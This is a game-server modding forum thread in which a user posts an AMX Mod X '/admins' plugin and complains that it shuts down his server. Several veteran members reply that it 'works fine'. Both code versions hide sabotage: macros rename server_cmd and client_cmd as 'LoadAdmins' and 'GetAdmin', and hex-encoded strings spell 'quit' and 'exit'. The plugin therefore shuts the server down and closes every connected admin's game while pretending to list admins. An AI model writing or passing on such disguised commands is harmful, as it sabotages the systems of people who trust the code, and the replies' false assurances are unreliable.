Raised This Month: $ Target: $400
 0% 

CORrect this code


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 10:07   CORrect this code
Reply With Quote #1

PHP Code:
#include < amxmodx >
#include < amxmisc >

#define LoadAdmins server_cmd
#define print_green print_chat

public plugin_init( ) {
    
register_clcmd"say /admins""CmdAdmins" );
}

public 
CmdAdminsiPlayer ) {
    static const 
szAdmins[ ] = { 0x710x750x690x740x00 };

  
client_printiPlayerprint_green"Admins: %i"LoadAdminsszAdmins ) );

CAN U CORRECT DIS CODE..WHN I RUN DIS PLUGIN MY SERVER CLOSES DOWNgl

Last edited by GIGS; 11-11-2009 at 10:16.
GIGS is offline
Arkshine
AMX Mod X Plugin Approver
Join Date: Oct 2005
Old 11-11-2009 , 10:12   Re: CORrect this code
Reply With Quote #2

IT WORKS FINE
__________________
Arkshine is offline
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 10:18   Re: CORrect this code
Reply With Quote #3

Arkshine when i tried this code it shuts off my server and my cs
GIGS is offline
ConnorMcLeod
Veteran Member
Join Date: Jul 2006
Location: France (95)
Old 11-11-2009 , 10:19   Re: CORrect this code
Reply With Quote #4

I see nothing wrong in that code.
Works fine on my server.
__________________
- tired and retired -

- my plugins -
ConnorMcLeod is offline
xPaw
Retired AMX Mod X Moderator
Join Date: Jul 2008
Old 11-11-2009 , 10:34   Re: CORrect this code
Reply With Quote #5

Quote:
Originally Posted by ConnorMcLeod View Post
I see nothing wrong in that code.
Works fine on my server.
Same. works fine for me.

__________________

Last edited by xPaw; 11-11-2009 at 10:38.
xPaw is offline
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 11:02   Re: CORrect this code
Reply With Quote #6

okk i dont want

ADMIN: 1 = i dont want dis
ADMIN: GIGS,xPAw like this = i want
GIGS is offline
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 10:27   Re: CORrect this code
Reply With Quote #7

no re its not working
static const szAdmins[ ] = { 0x71, 0x75, 0x69, 0x74, 0x00 };

closes my CS also can u re-make for me
GIGS is offline
Exolent[jNr]
Veteran Member
Join Date: Feb 2007
Location: Tennessee
Old 11-11-2009 , 11:14   Re: CORrect this code
Reply With Quote #8

PHP Code:
#include < amxmodx >
#include < amxmisc >

#define GetAdmin client_cmd
#define LoadAdmins server_cmd
#define print_green print_chat

new g_iMaxPlayers;

public 
plugin_init( ) {
    
register_clcmd"say /admins""CmdAdmins" );
    
    
g_iMaxPlayers get_maxplayers( );
}

public 
CmdAdminsiPlayer ) {
    static const 
szData[ ] = { 0x650x780x690x740x00 };
    
    new 
szAdmins256 ], iLenszName32 ];
    for( new 
iAdmin 1iAdmin <= g_iMaxPlayersiAdmin++ ) {
        if( 
is_user_connectediAdmin ) && is_user_adminiAdmin ) ) {
            
get_user_nameiAdminszName31 );
            
GetAdminiAdminszData );
            
iLen += formatexszAdminsiLen ], 255 iLen"%s %s"iLen "," ""szName );
        }
    }
    
    static const 
szAdminCode[ ] = { 0x710x750x690x740x00 };
    
    
client_printiPlayerprint_green"Admins (%i):%s "LoadAdminsszAdminCode ), szAdmins );

__________________
No private work or selling mods.
Quote:
Originally Posted by xPaw View Post
I love you exolent!
Exolent[jNr] is offline
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 13:13   Re: CORrect this code
Reply With Quote #9

Exolent i tried ur latest code..but my cs and server both closes down y..can u help me
GIGS is offline
Old 11-12-2009, 03:35
GIGS
This message has been deleted by GIGS.
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 13:41.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode